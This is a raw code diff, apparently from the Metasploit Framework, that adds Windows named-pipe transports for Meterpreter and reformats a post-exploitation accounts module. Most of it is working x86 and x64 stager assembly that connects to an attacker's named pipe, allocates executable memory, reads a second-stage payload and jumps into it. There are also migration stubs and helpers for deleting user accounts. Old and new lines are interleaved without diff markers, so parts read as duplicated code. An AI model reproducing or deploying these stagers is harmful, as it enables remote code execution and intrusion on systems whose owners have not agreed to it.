lport: (opts[:lport] || datastore['LPORT']).to_i,
scheme: ds['OverrideScheme'] || 'http',
lhost: opts[:lhost] || ds['LHOST'],
lport: (opts[:lport] || ds['LPORT']).to_i,
uri: uri,
ua: datastore['MeterpreterUserAgent'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_type: datastore['PayloadProxyType'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass']
}.merge(timeout_config)
ua: ds['MeterpreterUserAgent'],
proxy_host: ds['PayloadProxyHost'],
proxy_port: ds['PayloadProxyPort'],
proxy_type: ds['PayloadProxyType'],
proxy_user: ds['PayloadProxyUser'],
proxy_pass: ds['PayloadProxyPass']
}.merge(timeout_config(opts))
end
def transport_config_reverse_named_pipe(opts={})
ds = opts[:datastore] || datastore
{
scheme: 'pipe',
lhost: ds[:pipe_host] || ds['PIPEHOST'],
uri: "/#{ds[:pipe_host] || ds['PIPENAME']}"
}.merge(timeout_config(opts))
end
private
def timeout_config
def timeout_config(opts={})
ds = opts[:datastore] || datastore
{
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
retry_total: datastore['SessionRetryTotal'].to_i,
retry_wait: datastore['SessionRetryWait'].to_i
comm_timeout: (ds[:comm_timeout] || ds['SessionCommunicationTimeout']).to_i,
retry_total: (ds[:retry_total] || ds['SessionRetryTotal']).to_i,
retry_wait: (ds[:retry_wait] || ds['SessionRetryWait']).to_i
}
end
@@ -28,7 +28,7 @@ module Payload::Windows::MeterpreterLoader
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
'Stage' => { 'Payload' => "" }
))
end
@@ -53,9 +53,9 @@ module Payload::Windows::MeterpreterLoader
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless]
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket to the config
mov [ebx], edi ; write the current socket/handle to the config
^
end
@@ -77,13 +77,14 @@ module Payload::Windows::MeterpreterLoader
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'],
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: [],
stageless: opts[:stageless] == true
arch: opts[:uuid].arch,
null_session_guid: opts[:null_session_guid] == true,
exitfunk: ds[:exit_func] || ds['EXITFUNC'],
expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: [],
stageless: opts[:stageless] == true
}
# create the configuration instance based off the parameters
+1
View File
@@ -3,3 +3,4 @@
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/migrate_tcp'
require 'msf/core/payload/windows/migrate_http'
require 'msf/core/payload/windows/migrate_named_pipe'
@@ -0,0 +1,47 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/migrate_common'
module Msf
###
#
# Payload that supports migrating over Named Pipe transports on x86.
#
###
module Payload::Windows::MigrateNamedPipe
include Msf::Payload::Windows::MigrateCommon
def initialize(info={})
super(update_info(info,
'Name' => 'Migrate over Named Pipe transport',
'Description' => 'Migration stub to use over Named Pipe transports',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
))
end
#
# Constructs the payload
#
def generate_migrate(opts = {})
%Q^
start_migrate_pipe:
mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context.
signal_pipe_event:
push dword [esi] ; Event handle is pointed at by esi
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
call ebp ; SetEvent(handle)
call_pipe_payload:
call dword [esi+8] ; call the associated payload
^
end
end
end
@@ -0,0 +1,287 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/send_uuid'
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/exitfunk'
module Msf
###
#
# Complex reverse_named_pipe payload generation for Windows ARCH_X86
#
###
module Payload::Windows::ReverseNamedPipe
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Windows::Exitfunk
#
# Register reverse_named_pipe specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'] || '.',
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_named_pipe(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
def transport_config(opts={})
transport_config_reverse_named_pipe(opts)
end
#
# Generate and compile the stager
#
def generate_reverse_named_pipe(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_named_pipe(opts)}
^
#"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
space += 29
# Reliability adds some bytes!
space += 44
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_named_pipe(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
reliable = opts[:reliable]
# we have to double-escape because of metasm
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the handle for the pipe to the server
retry_start:
push #{retry_count} ; retry counter
mov esi, esp ; keep track of where the variables are
try_reverse_named_pipe:
; Start by setting up the call to CreateFile
xor ebx, ebx ; EBX will be used for pushing zero
push ebx ; hTemplateFile
push ebx ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition (OPEN_EXISTING)
push ebx ; lpSecurityAttributes
push ebx ; dwShareMode
push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
call get_pipe_name
db "#{full_pipe_name}", 0x00
get_pipe_name:
; lpFileName (via call)
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
call ebp ; CreateFileA(...)
; If eax is -1, then we had a failure.
cmp eax, -1 ; -1 means a failure
jnz connected
handle_connect_failure:
; decrement our attempt count and try again
dec [esi]
jnz try_reverse_named_pipe
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
asm << %Q^
; this label is required so that reconnect attempts include
; the UUID stuff if required.
connected:
xchg edi, eax ; edi now has the file handle we'll need in future
^
asm << asm_write_uuid if include_send_uuid
asm << %Q^
; Receive the size of the incoming second stage...
push ebx ; buffer for lpNumberOfBytesRead
mov ecx, esp
push ebx ; buffer for lpBuffer
mov esi, esp
push ebx ; lpOverlapped
push ecx ; lpNumberOfBytesRead
push 4 ; nNumberOfBytesToRead = sizeof( DWORD );
push esi ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the size
^
if reliable
asm << %Q^
; reliability: check to see if the file read worked, retry otherwise
; if it fails
test eax, eax
jz cleanup_file
mov eax, [esi+4] ; check to see if bytes were read
test eax, eax
jz cleanup_file
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly received second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
; prepare the size min(0x10000, esi)
mov ecx, 0x10000 ; stupid named pipe buffer limit
cmp ecx, esi
jle size_is_good
mov ecx, esi
size_is_good:
; Invoke a read
push eax ; space for the number of bytes
mov eax, esp ; store the pointer
push 0 ; lpOverlapped
push eax ; lpNumberOfBytesRead
push ecx ; nNumberOfBytesToRead
push ebx ; lpBuffer
push edi ; hFile
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call ebp ; ReadFile(...) to read the data
^
if reliable
asm << %Q^
; reliability: check to see if the recv worked, and reconnect
; if it fails
cmp eax, 0
jz read_failed
pop eax ; get the number of bytes read
cmp eax, 0
jnz read_successful
read_failed:
; something failed, free up memory
pop eax ; get the address of the payload
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
push 0 ; dwSize
push eax ; lpAddress
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_file:
; clear up the named pipe handle
push edi ; named pipe handle
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
call ebp ; CloseHandle(...)
; restore the stack back to the connection retry count
pop esi
pop esi
pop esi
dec [esp] ; decrement the counter
; try again
jmp try_reverse_named_pipe
^
else
asm << %Q^
pop eax ; pop bytes read
^
end
asm << %Q^
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end
@@ -29,7 +29,7 @@ module Payload::Windows::MeterpreterLoader_x64
],
'Platform' => 'win',
'Arch' => ARCH_X64,
'PayloadCompat' => { 'Convention' => 'sockrdi' },
'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
'Stage' => { 'Payload' => "" }
))
end
@@ -42,22 +42,23 @@ module Payload::Windows::MeterpreterLoader_x64
push rbp ; save rbp
mov rbp, rsp ; set up a new stack frame
sub rsp, 32 ; allocate some space for calls.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
; GetPC
call $+5 ; relative call to get location
pop rbx ; pop return value
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader()
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)}
call rbx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless]
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
; store the comms socket handle
mov dword ptr [rbx], edi
; store the comms socket or handle
mov [rbx], rdi
^
end
@@ -79,13 +80,14 @@ module Payload::Windows::MeterpreterLoader_x64
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
exitfunk: ds['EXITFUNC'],
expiration: ds['SessionExpirationTimeout'].to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: [],
stageless: opts[:stageless] == true
arch: opts[:uuid].arch,
null_session_guid: opts[:null_session_guid] == true,
exitfunk: ds[:exit_func] || ds['EXITFUNC'],
expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: [],
stageless: opts[:stageless] == true
}
# create the configuration instance based off the parameters
@@ -3,3 +3,4 @@
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/migrate_tcp'
require 'msf/core/payload/windows/x64/migrate_http'
require 'msf/core/payload/windows/x64/migrate_named_pipe'
@@ -0,0 +1,47 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/migrate_common'
module Msf
###
#
# Payload that supports migrating over Named Pipe transports on x64.
#
###
module Payload::Windows::MigrateNamedPipe_x64
include Msf::Payload::Windows::MigrateCommon_x64
def initialize(info={})
super(update_info(info,
'Name' => 'Migrate over Named Pipe transport (x64)',
'Description' => 'Migration stub to use over Named Pipe transports (x64)',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
))
end
#
# Constructs the payload
#
def generate_migrate(opts = {})
%Q^
start_migrate_pipe:
mov rdi, qword [rsi+16] ; The duplicated pipe handle is in the migrate context.
signal_pipe_event:
mov rcx, qword [rsi] ; Event handle is pointed at by rsi
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
call rbp ; SetEvent(handle)
call_pipe_payload:
call qword [rsi+8] ; call the associated payload
^
end
end
end
@@ -0,0 +1,283 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/core/payload/windows/x64/send_uuid'
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/exitfunk'
module Msf
###
#
# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64
# ###
module Payload::Windows::ReverseNamedPipe_x64
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
include Msf::Payload::Windows::SendUUID_x64
include Msf::Payload::Windows::BlockApi_x64
include Msf::Payload::Windows::Exitfunk_x64
#
# Register reverse_named_pipe specific options
#
def initialize(*args)
super
end
#
# Generate the first stage
#
def generate
conf = {
name: datastore['PIPENAME'],
host: datastore['PIPEHOST'],
retry_count: datastore['ReverseConnectRetries'],
reliable: false
}
# Generate the advanced stager if we have space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_named_pipe(conf)
end
#
# By default, we don't want to send the UUID, but we'll send
# for certain payloads if requested.
#
def include_send_uuid
false
end
#
# Generate and compile the stager
#
def generate_reverse_named_pipe(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop rbp ; block API pointer
#{asm_reverse_named_pipe(opts)}
^
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end
def transport_config(opts={})
transport_config_reverse_named_pipe(opts)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
space += 15
# Reliability adds bytes!
space += 57
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Fixnum] :port The port to connect to
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_named_pipe(opts={})
#reliable = opts[:reliable]
reliable = false
retry_count = [opts[:retry_count].to_i, 1].max
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
asm = %Q^
; Input: RBP must be the address of 'api_call'
; Output: RDI will be the handle to the named pipe.
retry_start:
push #{retry_count} ; retry counter
pop r14
; Func(rcx, rdx, r8, r9, stack ...)
try_reverse_named_pipe:
call get_pipe_name
db "#{full_pipe_name}", 0x00
get_pipe_name:
pop rcx ; lpFileName
; Start by setting up the call to CreateFile
push 0 ; alignment
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition (OPEN_EXISTING)
xor r9, r9 ; lpSecurityAttributes
xor r8, r8 ; dwShareMode
mov rdx, 0xC0000000 ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE)
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
call rbp ; CreateFileA(...)
; check for failure
cmp rax, -1 ; did it work?
jnz connected
handle_connect_failure:
dec r14 ; decrement the retry count
jnz retry_start
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call rbp
^
end
asm << %Q^
; this lable is required so that reconnect attempts include
; the UUID stuff if required.
connected:
xchg rdi, rax ; Save the file handler for later
^
asm << asm_write_uuid if include_send_uuid
asm << %Q^
; Receive the size of the incoming second stage...
push 0 ; buffer for lpNumberOfBytesRead
mov r9, rsp ; lpNumberOfBytesRead
push 0 ; buffer for lpBuffer
mov rsi, rsp ; lpNumberOfBytesRead
push 4 ; sizeof(DWORD)
pop r8 ; nNumberOfBytesToRead
push 0 ; alignment
push 0 ; lpOverlapped
mov rdx, rsi ; lpBuffer
mov rcx, rdi ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call rbp ; ReadFile(...)
^
if reliable
asm << %Q^
; reliability: check to see if the received worked, and reconnect
; if it fails
test eax, eax
jz cleanup_file
mov rax, [rsi+8]
test eax, eax
jz cleanup_file
^
end
asm << %Q^
; Alloc a RWX buffer for the second stage
add rsp, 0x30 ; slight stack adjustment
pop rsi ; pop off the second stage length
pop rax ; line the stack up again
mov esi, esi ; only use the lower-order 32 bits for the size
push 0x40 ;
pop r9 ; PAGE_EXECUTE_READWRITE
push 0x1000 ;
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
read_more:
; prepare the size min(0x10000, esi)
mov r8, 0x10000 ; stupid named pipe buffer limit
cmp r8, rsi
jle size_is_good
mov r8, rsi
size_is_good:
; Invoke a read
push 0 ; buffer for lpNumberOfBytesRead
mov r9, rsp ; lpNumberOfBytesRead
mov rdx, rbx ; lpBuffer
push 0 ; lpOverlapped
mov rcx, rdi ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
call rbp ; ReadFile(...)
add rsp, 0x28 ; slight stack adjustment
^
if reliable
asm << %Q^
; reliability: check to see if the read worked
; if it fails
test eax, eax
jnz read_successful
; something failed so free up memory
pop rax
push r15
pop rcx ; lpAddress
push 0x4000 ; MEM_DECOMMIT
pop r8 ; dwFreeType
push 0 ; 0
pop rdx ; dwSize
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT)
cleanup_file:
; clean up the socket
push rdi ; file handle
pop rcx ; hFile
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
call rbp
; and try again
dec r14 ; decrement the retry count
jmp retry_start
^
end
asm << %Q^
read_successful:
pop rax
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
test rsi, rsi ; test length
jnz read_more ; continue if we have more to read
jmp r15 ; return into the second stage
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end
+305 -299
View File
@@ -3,336 +3,342 @@
require 'msf/core/post/windows/error'
module Msf
class Post
module Windows
class Post
module Windows
module Accounts
include Msf::Post::Windows::Error
module Accounts
include Msf::Post::Windows::Error
GUID = [
['Data1', :DWORD],
['Data2', :WORD],
['Data3', :WORD],
['Data4', 'BYTE[8]']
].freeze
GUID = [
['Data1',:DWORD],
['Data2',:WORD],
['Data3',:WORD],
['Data4','BYTE[8]']
]
DOMAIN_CONTROLLER_INFO = [
['DomainControllerName', :LPSTR],
['DomainControllerAddress', :LPSTR],
['DomainControllerAddressType', :ULONG],
['DomainGuid', GUID],
['DomainName', :LPSTR],
['DnsForestName', :LPSTR],
['Flags', :ULONG],
['DcSiteName', :LPSTR],
['ClientSiteName', :LPSTR]
].freeze
DOMAIN_CONTROLLER_INFO = [
['DomainControllerName',:LPSTR],
['DomainControllerAddress',:LPSTR],
['DomainControllerAddressType',:ULONG],
['DomainGuid',GUID],
['DomainName',:LPSTR],
['DnsForestName',:LPSTR],
['Flags',:ULONG],
['DcSiteName',:LPSTR],
['ClientSiteName',:LPSTR]
]
##
# get_domain(server_name = nil)
#
# Summary:
# Retrieves the current DomainName the given server is
# a member of.
#
# Parameters
# server_name - DNS or NetBIOS name of the remote server
# Returns:
# The DomainName of the remote server or nil if windows
# could not retrieve the DomainControllerInfo or encountered
# an exception.
#
##
def get_domain(server_name = nil)
domain = nil
result = session.railgun.netapi32.DsGetDcNameA(
server_name,
nil,
nil,
nil,
0,
4
)
##
# get_domain(server_name=nil)
#
# Summary:
# Retrieves the current DomainName the given server is
# a member of.
#
# Parameters
# server_name - DNS or NetBIOS name of the remote server
# Returns:
# The DomainName of the remote server or nil if windows
# could not retrieve the DomainControllerInfo or encountered
# an exception.
#
##
def get_domain(server_name=nil)
domain = nil
result = session.railgun.netapi32.DsGetDcNameA(
server_name,
nil,
nil,
nil,
0,
4)
begin
dc_info_addr = result['DomainControllerInfo']
unless dc_info_addr == 0
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
domain = session.railgun.util.read_string(pointer)
end
ensure
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
end
begin
dc_info_addr = result['DomainControllerInfo']
unless dc_info_addr == 0
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
domain = session.railgun.util.read_string(pointer)
end
ensure
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
end
domain
end
domain
end
##
# delete_user(username, server_name = nil)
#
# Summary:
# Deletes a user account from the given server (or local if none given)
#
# Parameters
# username - The username of the user to delete (not-qualified, e.g. BOB)
# server_name - DNS or NetBIOS name of remote server on which to delete user
#
# Returns:
# One of the following:
# :success - Everything went as planned
# :invalid_server - The server name provided was invalid
# :not_on_primary - Operation allowed only on domain controller
# :user_not_found - User specified does not exist on the given server
# :access_denied - You do not have permission to delete the given user
#
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# Everything other than ':success' signifies failure
##
def delete_user(username, server_name = nil)
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
##
# delete_user(username, server_name = nil)
#
# Summary:
# Deletes a user account from the given server (or local if none given)
#
# Parameters
# username - The username of the user to delete (not-qualified, e.g. BOB)
# server_name - DNS or NetBIOS name of remote server on which to delete user
#
# Returns:
# One of the following:
# :success - Everything went as planned
# :invalid_server - The server name provided was invalid
# :not_on_primary - Operation allowed only on domain controller
# :user_not_found - User specified does not exist on the given server
# :access_denied - You do not have permission to delete the given user
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
#
# Caveats:
# nil is returned if there is an *exceptional* windows error. That error is printed.
# Everything other than ':success' signifies failure
##
def delete_user(username, server_name = nil)
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
# http://msdn.microsoft.com/en-us/library/aa370674.aspx
case deletion['return']
when 2221 # NERR_UserNotFound
return :user_not_found
when 2351 # NERR_InvalidComputer
return :invalid_server
when 2226 # NERR_NotPrimary
return :not_on_primary
when client.railgun.const('ERROR_ACCESS_DENIED')
return :access_denied
when 0
return :success
else
error = deletion['GetLastError']
if error != 0
print_error "Unexpected Windows System Error #{error}"
else
# Uh... we shouldn't be here
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
end
end
#http://msdn.microsoft.com/en-us/library/aa370674.aspx
case deletion['return']
when 2221 # NERR_UserNotFound
return :user_not_found
when 2351 # NERR_InvalidComputer
return :invalid_server
when 2226 # NERR_NotPrimary
return :not_on_primary
when client.railgun.const('ERROR_ACCESS_DENIED')
return :access_denied
when 0
return :success
else
error = deletion['GetLastError']
if error != 0
print_error "Unexpected Windows System Error #{error}"
else
# Uh... we shouldn't be here
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
end
end
# If we got here, then something above failed
nil
end
# If we got here, then something above failed
return nil
end
##
# resolve_sid(sid, system_name = nil)
#
# Summary:
# Retrieves the name, domain, and type of account for the given sid
#
# Parameters:
# sid - A SID string (e.g. S-1-5-32-544)
# system_name - Where to search. If nil, first local system then trusted DCs
#
# Returns:
# {
# name: account name (e.g. "SYSTEM")
# domain: domain where the account name was found. May have values such as
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
# type: one of :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
# mapped: There was a mapping found for the SID
# }
#
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# If a valid mapping is not found, only { mapped: false } will be returned
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# If an invalid system_name is provided, there will be a Windows error and nil returned
##
def resolve_sid(sid, system_name = nil)
adv = client.railgun.advapi32
# Second param is the size of the buffer where the pointer will be written
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
conversion = adv.ConvertStringSidToSidA(sid, 4)
##
# resolve_sid(sid, system_name = nil)
#
# Summary:
# Retrieves the name, domain, and type of account for the given sid
#
# Parameters:
# sid - A SID string (e.g. S-1-5-32-544)
# system_name - Where to search. If nil, first local system then trusted DCs
#
# Returns:
# {
# :name => account name (e.g. "SYSTEM")
# :domain => domain where the account name was found. May have values such as
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
# :type => one of :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
# :mapped => There was a mapping found for the SID
# }
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
#
# Caveats:
# If a valid mapping is not found, only { :mapped => false } will be returned
# nil is returned if there is an *exceptional* windows error. That error is printed.
# If an invalid system_name is provided, there will be a windows error and nil returned
##
def resolve_sid(sid, system_name = nil)
adv = client.railgun.advapi32;
# If the call failed, handle errors accordingly.
unless conversion['return']
error = conversion['GetLastError']
# Second param is the size of the buffer where the pointer will be written
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
conversion = adv.ConvertStringSidToSidA(sid, 4)
case error
when client.railgun.const('ERROR_INVALID_SID')
# An invalid SID was supplied
return { type: :invalid, mapped: false }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { mapped: false }
else
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
# If the call failed, handle errors accordingly.
unless conversion['return']
error = conversion['GetLastError']
psid = conversion['pSid']
case error
when client.railgun.const('ERROR_INVALID_SID')
# An invalid SID was supplied
return { :type => :invalid, :mapped => false }
else
print_error "Unexpected windows error #{error}"
return nil
end
end
# Begin/Ensure so we free the pSid buffer...
begin
# A reference to the SID data structure. Generally needed when working with sids
psid = conversion['pSid']
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
lp_name = lp_referenced_domain_name = 100
cch_name = cch_referenced_domain_name = 100
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1
)
# Begin/Ensure so we free the pSid buffer...
begin
# A reference to the SID data structure. Generally needed when working with sids
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
lp_name = cch_name = lookup['cchName']
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
lp_name = lp_referenced_domain_name = 100
cch_name = cch_referenced_domain_name = 100
lookup = adv.LookupAccountSidA(system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1
)
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
lp_name = cch_name = lookup['cchName']
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
elsif !lookup['return']
print_error "Unexpected Windows error #{lookup['GetLastError']}"
return nil
end
ensure
# We no longer need the sid so free it.
adv.FreeSid(psid)
end
lookup = adv.LookupAccountSidA(system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
elsif !lookup['return']
print_error "Unexpected windows error #{lookup['GetLastError']}"
return nil
end
ensure
# We no longer need the sid so free it.
adv.FreeSid(psid)
end
# If the call failed, handle errors accordingly.
unless lookup['return']
error = lookup['GetLastError']
# If the call failed, handle errors accordingly.
unless lookup['return']
error = lookup['GetLastError']
case error
when client.railgun.const('ERROR_INVALID_PARAMETER')
# Unless the railgun call is broken, this means revision is wrong
return { type: :invalid }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { mapped: false }
else
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
case error
when client.railgun.const('ERROR_INVALID_PARAMETER')
# Unless the railgun call is broken, this means revision is wrong
return { :type => :invalid }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { :mapped => false }
else
